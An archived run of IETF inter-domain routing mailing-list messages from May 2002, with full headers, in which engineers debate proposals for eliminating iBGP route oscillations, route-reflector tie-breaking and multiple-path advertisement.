presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id 3A4675DE88 for ; Wed, 29 May 2002 14:39:59 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g4TIdQA28508; Wed, 29 May 2002 14:39:26 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: from jhaas.nexthop.com (jhaas.nexthop.com [64.211.218.31]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g4TIdN928501; Wed, 29 May 2002 14:39:23 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: (from jhaas@localhost) by jhaas.nexthop.com (8.11.0/8.11.0) id g4TIdMC01536; Wed, 29 May 2002 14:39:22 -0400 (EDT) Date: Wed, 29 May 2002 14:39:22 -0400 From: Jeffrey Haas To: Anindya Basu Cc: Alvaro Retana , Gordon Wilfong , "John G. Scudder" , Pramod Koppol , idr@merit.edu, dwalton@cisco.com, dacook@cisco.com, gtw@lucent.com, anindyabasu , bshep@lucent.com Subject: Re: iBGP route oscillation drafts Message-ID: <20020529183922.GC815@nexthop.com> References: <3CF50F32.29CD91E0@research.bell-labs.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3CF50F32.29CD91E0@research.bell-labs.com> User-Agent: Mutt/1.3.99i X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk On Wed, May 29, 2002 at 01:26:10PM -0400, Anindya Basu wrote: > However, our aim was > to address the elimination of any possible kind of oscillation > in I-BGP, MED-induced or not, persistent or not. Gentlemen, Its worth pointing out that the solution in your ID has been discussed a few times and is pretty much understood to be "a right answer", just one that scales poorly. Besides the ID's that Alvaro published to distribute multiple paths, RFC 1863 originally documented a method meant for Route Servers to exchange multiple route instances. This RFC also had other things which weren't necessarily useful. Obviously, this hasn't been implemented. In addition to your comments about *which* routes to distribute, namely only those that get to the point of the MED comparison portion of route selection (i.e. it has passed Local_Pref and AS_PATH length comparisons) it is only necessary to distribute your best MEDs, not all of them. > -Anindya, Gordon and Bruce -- Jeff Haas NextHop Technologies Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id NAA04201 for ; Wed, 29 May 2002 13:26:53 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id BEA6E9125F; Wed, 29 May 2002 13:26:23 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 9064D91260; Wed, 29 May 2002 13:26:23 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id E0CF89125F for ; Wed, 29 May 2002 13:26:20 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 078A15DDA5; Wed, 29 May 2002 13:26:15 -0400 (EDT) Delivered-To: idr@merit.edu Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by segue.merit.edu (Postfix) with ESMTP id D05A45DD8E for ; Wed, 29 May 2002 13:26:13 -0400 (EDT) Received: from scummy.research.bell-labs.com (H-135-104-2-10.research.bell-labs.com [135.104.2.10]) by dirty.research.bell-labs.com (8.12.2/8.12.2) with ESMTP id g4THQuUL015950; Wed, 29 May 2002 13:26:56 -0400 (EDT) Received: from nslocum.cs.bell-labs.com (nslocum.cs.bell-labs.com [135.104.8.38]) by scummy.research.bell-labs.com (8.11.6/8.11.6) with ESMTP id g4THQBk82720; Wed, 29 May 2002 13:26:11 -0400 (EDT) Received: from research.bell-labs.com (basu-t23.ddns.bell-labs.com [135.104.52.191]) by nslocum.cs.bell-labs.com (8.12.2/8.12.2) with ESMTP id g4THQAjq59672637; Wed, 29 May 2002 13:26:10 -0400 (EDT) Message-ID: <3CF50F32.29CD91E0@research.bell-labs.com> Date: Wed, 29 May 2002 13:26:10 -0400 From: Anindya Basu X-Mailer: Mozilla 4.76 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Alvaro Retana Cc: Gordon Wilfong , "John G. Scudder" , Pramod Koppol , idr@merit.edu, dwalton@cisco.com, dacook@cisco.com, gtw@lucent.com, anindyabasu , bshep@lucent.com Subject: Re: iBGP route oscillation drafts References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Alvaro, You indicate that the cluster-list selection rule is an existing solution to the oscillation problem in our example. Reading the references that you provided us, it is our understanding that the cluster-list selection rule is applied *after* the IGP metric rule (assuming the rules are applied in the order listed). If so, the example we have continues to oscillate since the IGP metric rule breaks the tie and the cluster-list selection rule is never applied. If, on the other hand, the cluster-list selection rule is applied before the IGP metric rule, the original example in McPherson et. al. does not undergo persistent oscillations. Thus, there is no churn problem at all. If these interpretations are correct, then the claim from your email: "(2) a solution already exists to this problem" is not clear to us. Next, you say that the example we have "is not real". While we recognize your experience in this area, we feel that our example is no less real than the one outlined in the McPherson I-D since that example also critically relies on a route reflector preferring a route through the client of a different route reflector (due to IGP metrics). Finally, you say that your solution was addressing "the MED churn issue". We do not doubt that for some appropriate definition of the MED churn problem, your solution works. However, our aim was to address the elimination of any possible kind of oscillation in I-BGP, MED-induced or not, persistent or not. Thanks, -Anindya, Gordon and Bruce Alvaro Retana wrote: > > On Tue, 28 May 2002, Gordon Wilfong wrote: > > Gordon: > > -> In looking over the approach in draft-walton-etc, it seems that there > -> is a problem. For instance, if you look at the example in > -> draft-wilfong-etc, you'll notice that the method in draft-walton-etc > -> fails to stop the persistent route oscillations in that example. > > The only example I found in your document is: > > ******************** *********************** > * * * * > * * * * > [RR1]****[RR2]*****[RR3] * [RR1] [RR2] [RR3] > * * * * * * * * * > * * * * * *1 * *1 * > * * * * *5 * *5 * *5 > * * * * * * * * * > [C1] [C2] [C3] **[C1] [C2] [C3] > * * * > * * * > ********[R]********* > > BGP sessions Physical links > > You wrote: "It is straightforward to check for example that RR1 will > constantly switch between choosing the route to R through its client C1 > and through the client C2 depending on which route RR2 announces to RR1." > > If you look at the picture, things *may* oscillate because of the IGP > metrics you chose... BUT you missed the already deployed solution: > choosing the path with the shortest cluster-list. It doesn't matter what > the other RRs say, RR1 will always chose the path through its client (no > cluster-list = length of 0). > > To be honest, I don't know why this extension hasn't been documented (as > in a draft) before...I'll write something up and send it out in the next > couple of days. However, the solution has been deployed for years...just > as a sample, take a look at: > > http://www.cisco.com/warp/public/459/25.shtml > http://www.juniper.net/techpubs/software/junos53/swconfig53-routing/html/protocols-overview4.html > > You go further to say: "Admittedly, the configuration in Figure 1 is not > likely in a reasonable network. The point though is that such behavior is > possible with route reflectors..." > > So...it doens't matter that we don't cover this case because (1) it's not > real, (2) a solution already exists and (3) that's not the problem we were > trying to solve. ;-) We were specifically addresing the MED churn issue. > > Alvaro. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id KAA27748 for ; Wed, 29 May 2002 10:30:21 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 9DD969125D; Wed, 29 May 2002 10:29:32 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 656A69125E; Wed, 29 May 2002 10:29:32 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 32DDA9125D for ; Wed, 29 May 2002 10:29:31 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 59A3E5DE21; Wed, 29 May 2002 10:29:25 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id C7D2F5DDA5 for ; Wed, 29 May 2002 10:29:24 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g4TETQm20440; Wed, 29 May 2002 07:29:26 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205291429.g4TETQm20440@merlot.juniper.net> To: Bill Fenner , zinin@psg.com Cc: skh@nexthop.com, idr@merit.edu, mleech@nortelnetworks.com Subject: draft-ietf-idr-md5-keys-00.txt to Informational RFC MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <83652.1022682566.1@juniper.net> Date: Wed, 29 May 2002 07:29:26 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Bill and Alex, This is to request the IESG to advance draft-ietf-idr-md5-keys-00.txt to an Informational RFC. The WG Last Call ended yesterday. Yakov. ------- Forwarded Message Date: Tue, 14 May 2002 10:54:15 -0700 From: Yakov Rekhter To: idr@merit.edu cc: mleech@nortelnetworks.com Subject: draft-ietf-idr-md5-keys-00.txt Folks, This is to start the WG Last Call on advancing draft-ietf-idr-md5-keys-00.txt to an Informational RFC. The Last Call ends May 28. Yakov. ------- End of Forwarded Message Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id RAA20491 for ; Tue, 28 May 2002 17:24:35 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 571AD9124E; Tue, 28 May 2002 17:22:06 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 1AAA39124D; Tue, 28 May 2002 17:22:06 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id B007F91249 for ; Tue, 28 May 2002 17:22:03 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 0DBE15DE7F; Tue, 28 May 2002 17:21:58 -0400 (EDT) Delivered-To: idr@merit.edu Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by segue.merit.edu (Postfix) with ESMTP id AF2365DE6F for ; Tue, 28 May 2002 17:21:57 -0400 (EDT) Received: from aretana-u10.cisco.com (aretana-u10.cisco.com [64.102.48.77]) by sj-msg-core-1.cisco.com (8.12.2/8.12.2) with ESMTP id g4SLLxHt014639; Tue, 28 May 2002 14:21:59 -0700 (PDT) Date: Tue, 28 May 2002 17:21:58 -0400 (EDT) From: Alvaro Retana To: Gordon Wilfong Cc: "John G. Scudder" , Pramod Koppol , , , , , anindyabasu , Subject: Re: iBGP route oscillation drafts In-Reply-To: <3CF3DB59.7566@research.bell-labs.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-idr@merit.edu Precedence: bulk On Tue, 28 May 2002, Gordon Wilfong wrote: Gordon: -> In looking over the approach in draft-walton-etc, it seems that there -> is a problem. For instance, if you look at the example in -> draft-wilfong-etc, you'll notice that the method in draft-walton-etc -> fails to stop the persistent route oscillations in that example. The only example I found in your document is: ******************** *********************** * * * * * * * * [RR1]****[RR2]*****[RR3] * [RR1] [RR2] [RR3] * * * * * * * * * * * * * * *1 * *1 * * * * * *5 * *5 * *5 * * * * * * * * * [C1] [C2] [C3] **[C1] [C2] [C3] * * * * * * ********[R]********* BGP sessions Physical links You wrote: "It is straightforward to check for example that RR1 will constantly switch between choosing the route to R through its client C1 and through the client C2 depending on which route RR2 announces to RR1." If you look at the picture, things *may* oscillate because of the IGP metrics you chose... BUT you missed the already deployed solution: choosing the path with the shortest cluster-list. It doesn't matter what the other RRs say, RR1 will always chose the path through its client (no cluster-list = length of 0). To be honest, I don't know why this extension hasn't been documented (as in a draft) before...I'll write something up and send it out in the next couple of days. However, the solution has been deployed for years...just as a sample, take a look at: http://www.cisco.com/warp/public/459/25.shtml http://www.juniper.net/techpubs/software/junos53/swconfig53-routing/html/protocols-overview4.html You go further to say: "Admittedly, the configuration in Figure 1 is not likely in a reasonable network. The point though is that such behavior is possible with route reflectors..." So...it doens't matter that we don't cover this case because (1) it's not real, (2) a solution already exists and (3) that's not the problem we were trying to solve. ;-) We were specifically addresing the MED churn issue. Alvaro. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA16703 for ; Tue, 28 May 2002 15:33:37 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 234489123B; Tue, 28 May 2002 15:33:13 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id E75559123C; Tue, 28 May 2002 15:33:12 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 960DD9123B for ; Tue, 28 May 2002 15:33:11 -0400 (EDT) Received: by segue.merit.edu (Postfix) id E97755DDCF; Tue, 28 May 2002 15:33:05 -0400 (EDT) Delivered-To: idr@merit.edu Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by segue.merit.edu (Postfix) with ESMTP id 80CDE5DDB6 for ; Tue, 28 May 2002 15:33:05 -0400 (EDT) Received: from scummy.research.bell-labs.com (H-135-104-2-10.research.bell-labs.com [135.104.2.10]) by dirty.research.bell-labs.com (8.12.2/8.12.2) with ESMTP id g4SJXUUL003364; Tue, 28 May 2002 15:33:30 -0400 (EDT) Received: from mcs.research.bell-labs.com (mcs.research.bell-labs.com [135.104.32.15]) by scummy.research.bell-labs.com (8.11.6/8.11.6) with ESMTP id g4SJWhk88744; Tue, 28 May 2002 15:32:43 -0400 (EDT) Received: from disney.research.bell-labs.com (disney.research.bell-labs.com [135.104.32.16]) by mcs.research.bell-labs.com (8.9.3/8.8.8) with ESMTP id PAA1481439; Tue, 28 May 2002 15:32:42 -0400 (EDT) Received: from disney (localhost [127.0.0.1]) by disney.research.bell-labs.com (8.7.6/8.7.3) with SMTP id PAA14654; Tue, 28 May 2002 15:32:42 -0400 (EDT) Message-ID: <3CF3DB59.7566@research.bell-labs.com> Date: Tue, 28 May 2002 15:32:41 -0400 From: Gordon Wilfong X-Mailer: Mozilla 3.01Gold (X11; I; IRIX 6.3 IP32) MIME-Version: 1.0 To: "John G. Scudder" Cc: Pramod Koppol , idr@merit.edu, dwalton@cisco.com, aretana@cisco.com, dacook@cisco.com, gtw@lucent.com, anindyabasu , bshep@lucent.com Subject: Re: iBGP route oscillation drafts References: <3CF3CA3B.6000707@lucent.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk In looking over the approach in draft-walton-etc, it seems that there is a problem. For instance, if you look at the example in draft-wilfong-etc, you'll notice that the method in draft-walton-etc fails to stop the persistent route oscillations in that example. - gordon John G. Scudder wrote: > > Pramod, > > We believe that the approach in draft-walton-etc will work. However > if you have a proof it won't (a single counterexample would do), we'd > be very happy to discuss it. > > Thanks, > > --John > > At 2:19 PM -0400 5/28/02, Pramod Koppol wrote: > >Hi everyone, > > > >I was reading the following two drafts > > > > 1: draft-wilfong-ibgp-oscillations-00.txt > > 2: draft-walton-bgp-route-oscillation-stop-00.txt > > > >While (1) says that all routes at the stage involving "eBGP over > >iBGP" are to be > >advertised, (2) says that routes remaining "after the MED is compared" need to > >be propagated. > > > >It seems to me that both the above approaches are saying the same > >thing. Moreover, > >advertising paths after MED comparison may not solve the problem. > > > >Advertising all routes that remain after "picking routes with lowest > >origin type" (step 5 in > >BGP decision process summary of Halabi's book 2nd edition) will fix > >the problem. However, > >this may involve advertising more than one route per neighbor AS. > > > >Please correct me if I am missing something. If it's OK with you, I > >would be happy to work with you all in proving the above. > > > >Thanks & Regards, > >Pramod > >------------------------------- > >Pramod Koppol > >High Speed Networks Research > >Bell Laboratories, Lucent Technologies > >ph: 732 949 9588 Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA13982 for ; Tue, 28 May 2002 14:17:26 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 86A4491233; Tue, 28 May 2002 14:16:56 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 5697D91209; Tue, 28 May 2002 14:16:56 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id EA66B91233 for ; Tue, 28 May 2002 14:16:28 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 48C9E5DE59; Tue, 28 May 2002 14:16:23 -0400 (EDT) Delivered-To: idr@merit.edu Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by segue.merit.edu (Postfix) with ESMTP id D2F935DDD7 for ; Tue, 28 May 2002 14:16:22 -0400 (EDT) Received: from aretana-u10.cisco.com (aretana-u10.cisco.com [64.102.48.77]) by sj-msg-core-1.cisco.com (8.12.2/8.12.2) with ESMTP id g4SIFqHt010703; Tue, 28 May 2002 11:15:53 -0700 (PDT) Date: Tue, 28 May 2002 14:15:52 -0400 (EDT) From: Alvaro Retana To: Pedro Roque Marques Cc: gtw@lucent.com, , , , , Subject: Re: comments on draft-wilfong-ibgp-oscillations-00.txt In-Reply-To: <200205281808.g4SI8Zq55441@roque-bsd.juniper.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-idr@merit.edu Precedence: bulk On Tue, 28 May 2002, Pedro Roque Marques wrote: Pedro: -> > Reference #5 makes reference (yes, double reference) to an old -> > mechanism we had been working on (never published/implemented) to -> > advertise multiple paths in BGP (without running into an implicit -> > withdraw, etc.). -> -> > Since then, we have updated the mechanism...sorry I didn't post this -> > before (some have seen a "preview")... -> -> > ftp://ftp-eng.cisco.com/alvaro/draft-walton-bgp-add-paths-00.txt -> -> Just to clarify... -> -> Does the wilfong draft assume the usage of the 2 unpublished walton -> drafts that Alvaro points to ? What additional mechanisms does it -> specify ? I don't know the answer to that...but, just to confuse you more... ;-) Both -walton- drafts have now been published: http://www.ietf.org/internet-drafts/draft-walton-bgp-add-paths-00.txt http://www.ietf.org/internet-drafts/draft-walton-bgp-route-oscillation-stop-00.txt -> The working group was asked to comment on a draft (the one quoted in -> the topic), however it is not clear to me on which proposals exactly -> are we supposed to comment upon. Comments on those are welcome. ;-) Alvaro. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA13691 for ; Tue, 28 May 2002 14:09:55 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id A909391232; Tue, 28 May 2002 14:09:18 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 05C5391233; Tue, 28 May 2002 14:09:16 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id B2D5591232 for ; Tue, 28 May 2002 14:09:15 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 15D3B5DE1A; Tue, 28 May 2002 14:09:10 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id B3D455DDAE for ; Tue, 28 May 2002 14:09:09 -0400 (EDT) Received: from roque-bsd.juniper.net (roque-bsd.juniper.net [172.17.12.183]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g4SI8Zm60546; Tue, 28 May 2002 11:08:35 -0700 (PDT) (envelope-from roque@juniper.net) Received: (from roque@localhost) by roque-bsd.juniper.net (8.11.1/8.9.3) id g4SI8Zq55441; Tue, 28 May 2002 11:08:35 -0700 (PDT) (envelope-from roque) Date: Tue, 28 May 2002 11:08:35 -0700 (PDT) Message-Id: <200205281808.g4SI8Zq55441@roque-bsd.juniper.net> From: Pedro Roque Marques MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Alvaro Retana Cc: gtw@lucent.com, , , , , idr@merit.edu Subject: Re: comments on draft-wilfong-ibgp-oscillations-00.txt In-Reply-To: References: <200205232218.g4NMIx937294@roque-bsd.juniper.net> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Sender: owner-idr@merit.edu Precedence: bulk Alvaro Retana writes: > On Thu, 23 May 2002, Pedro Roque Marques wrote: Pedro: > Reference #5 makes reference (yes, double reference) to an old > mechanism we had been working on (never published/implemented) to > advertise multiple paths in BGP (without running into an implicit > withdraw, etc.). > Since then, we have updated the mechanism...sorry I didn't post this > before (some have seen a "preview")... > ftp://ftp-eng.cisco.com/alvaro/draft-walton-bgp-add-paths-00.txt Just to clarify... Does the wilfong draft assume the usage of the 2 unpublished walton drafts that Alvaro points to ? What additional mechanisms does it specify ? The working group was asked to comment on a draft (the one quoted in the topic), however it is not clear to me on which proposals exactly are we supposed to comment upon. Most likely i'm the only one confused here but i would apreciate a clarification. regards, Pedro. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id QAA26450 for ; Mon, 27 May 2002 16:37:28 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id AC55791214; Mon, 27 May 2002 16:36:55 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 825109121C; Mon, 27 May 2002 16:36:55 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 5183F91214 for ; Mon, 27 May 2002 16:36:54 -0400 (EDT) Received: by segue.merit.edu (Postfix) id D9D8B5DE3C; Mon, 27 May 2002 16:36:48 -0400 (EDT) Delivered-To: idr@merit.edu Received: from celox-ma1-ems1.celoxnetworks.com (celox-ma1-imap1.celoxnetworks.com [12.40.60.233]) by segue.merit.edu (Postfix) with ESMTP id 97A835DDCA for ; Mon, 27 May 2002 16:36:48 -0400 (EDT) Received: by celox-ma1-ems1.celoxnetworks.com with Internet Mail Service (5.5.2653.19) id ; Mon, 27 May 2002 16:36:54 -0400 Message-ID: <1117F7D44159934FB116E36F4ABF221B01B14147@celox-ma1-ems1.celoxnetworks.com> From: "Natale, Jonathan" To: "'Gordon Wilfong'" , idr@merit.edu Subject: RE: ibgp Date: Mon, 27 May 2002 16:36:51 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-idr@merit.edu Precedence: bulk Gee, i asked about this twice recently--thnx for the help [NOT] @ssh0lz... -----Original Message----- From: Gordon Wilfong [mailto:gtw@research.bell-labs.com] Sent: Thursday, May 23, 2002 2:09 PM To: idr@merit.edu Subject: ibgp An Internet-Draft, "Eliminating IBGP Oscillations", has recently been posted. In this draft we propose an extension to the Border Gateway Protocol (BGP), that eliminates route update oscillations (as discussed in draft-ietf-idr-route-oscillation-01.txt "BGP Persistent Route Oscillation Condition by McPherson et al) and also eliminates routing loops in Internal BGP (IBGP) even in the presence of route reflection. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-wilfong-ibgp-oscillations-00.txt Any comments would be greatly appreciated. - Gordon Wilfong Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id XAA01869 for ; Thu, 23 May 2002 23:56:47 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 8F86F91274; Thu, 23 May 2002 23:56:20 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 5D36D91275; Thu, 23 May 2002 23:56:20 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 6574991274 for ; Thu, 23 May 2002 23:56:19 -0400 (EDT) Received: by segue.merit.edu (Postfix) id C65015DE62; Thu, 23 May 2002 23:56:14 -0400 (EDT) Delivered-To: idr@merit.edu Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by segue.merit.edu (Postfix) with ESMTP id 86C0C5DE5D for ; Thu, 23 May 2002 23:56:14 -0400 (EDT) Received: from aretana-u10.cisco.com (aretana-u10.cisco.com [64.102.48.77]) by sj-msg-core-1.cisco.com (8.12.2/8.12.2) with ESMTP id g4O3tiHt012805; Thu, 23 May 2002 20:55:44 -0700 (PDT) Date: Thu, 23 May 2002 23:55:43 -0400 (EDT) From: Alvaro Retana To: Pedro Roque Marques Cc: gtw@lucent.com, , , , , Subject: Re: comments on draft-wilfong-ibgp-oscillations-00.txt In-Reply-To: <200205232218.g4NMIx937294@roque-bsd.juniper.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-idr@merit.edu Precedence: bulk On Thu, 23 May 2002, Pedro Roque Marques wrote: Pedro: -> "However if there remain multiple potential routes... then the -> extension says to advertise all these surviving routes" -> -> The document does not specify how that would be acomplished. In BGP a -> route advertisement from a neighbor overrides (i.e. it is an implicit -> withdrawn of) previous advertised information from that peer. Reference #5 makes reference (yes, double reference) to an old mechanism we had been working on (never published/implemented) to advertise multiple paths in BGP (without running into an implicit withdraw, etc.). Since then, we have updated the mechanism...sorry I didn't post this before (some have seen a "preview")... ftp://ftp-eng.cisco.com/alvaro/draft-walton-bgp-add-paths-00.txt [I already sent the link to the ID Administrator, but I doubt it is available yet in the "official" place.] -> It is not clear to me, and i would suggest clarifying that in the -> proposal, exactly what routes would be advertised with the new -> extension. Also sitting in my home directory for a while... :-( ftp://ftp-eng.cisco.com/alvaro/draft-walton-bgp-route-oscillation-stop-00.txt [Also in the ID Admin's queue.] -> For instance Using the RFC 1777 aproach, the memory usage increase in -> every BGP speaker in the network would be N per route, where N is the -> number of external points where the route is received from, when MEDs -> are used. s/1777/1771 ;-) I'll let Gordon & co...comment about their draft.... In our proposal (above), the increase would be <= n-1, where n is the number of external ASes the route was received from. Considering that the oscillation only occurs when a full mesh is not present, and that an external AS may be connected at more than one external point, then n < N (the one you mention above). -> The degree of memory usage increase resulting from this proposal is -> probably going to be the factor that will deam it as feasible or -> infeasible. Agreed... IMHO, ideally an "oscillation detection" mechanism would be implemented so that any additional paths are propagated only when needed (not before). We've run some analysis on existing BGP tables from ISPs that have seen the oscillation in their backbone and (if I remember correctly) only about 10% of the routes *may* oscillate (different MEDs received from the same AS), but only about 2% are in *real* "danger" (the bestpath selection tie breaker occurs on/after the MED). This data helps bring down the impact of n...which then becomes only per prefix in that low % (vs per prefix for the whole table). ;-) :-) Alvaro. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id SAA17371 for ; Thu, 23 May 2002 18:19:24 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id EB9C291262; Thu, 23 May 2002 18:19:02 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id BB43491358; Thu, 23 May 2002 18:19:01 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 829B191262 for ; Thu, 23 May 2002 18:19:00 -0400 (EDT) Received: by segue.merit.edu (Postfix) id F25105DEB2; Thu, 23 May 2002 18:18:55 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 68E005DE21 for ; Thu, 23 May 2002 18:18:55 -0400 (EDT) Received: from roque-bsd.juniper.net (roque-bsd.juniper.net [172.17.12.183]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g4NMIxm47876; Thu, 23 May 2002 15:18:59 -0700 (PDT) (envelope-from roque@juniper.net) Received: (from roque@localhost) by roque-bsd.juniper.net (8.11.1/8.9.3) id g4NMIx937294; Thu, 23 May 2002 15:18:59 -0700 (PDT) (envelope-from roque@juniper.net) Date: Thu, 23 May 2002 15:18:59 -0700 (PDT) Message-Id: <200205232218.g4NMIx937294@roque-bsd.juniper.net> X-Authentication-Warning: roque-bsd.juniper.net: roque set sender to roque@juniper.net using -f From: Pedro Roque Marques To: gtw@lucent.com, anindyabasu@lucent.com, bshep@lucent.com, Luke.Ong@comlab.ox.ac.uk, arasala@theory.lcs.mit.edu Cc: idr@merit.edu Subject: comments on draft-wilfong-ibgp-oscillations-00.txt Sender: owner-idr@merit.edu Precedence: bulk In reply to your comment request... In section 3 of the document, you document "an extension to BGP". This section lacks imho the necessary detail required for a protocol extension. quoting: "However if there remain multiple potential routes... then the extension says to advertise all these surviving routes" The document does not specify how that would be acomplished. In BGP a route advertisement from a neighbor overrides (i.e. it is an implicit withdrawn of) previous advertised information from that peer. Thus to advertise multiple routes it is necessary to modify the protocol in a way to permit that. I assume that you really mean 'multiple routes' from a peer and not what RFC 1777 suggests which is to advertise the best external route if one prefers an ibgp path. For completeness i would suggest including a discussion of the RFC 1777 suggested method, and the reasons why that recomendation was actually disregarded in implementations. A comparisson between this proposal and RFC 1777 would also be useful. It is not clear to me, and i would suggest clarifying that in the proposal, exactly what routes would be advertised 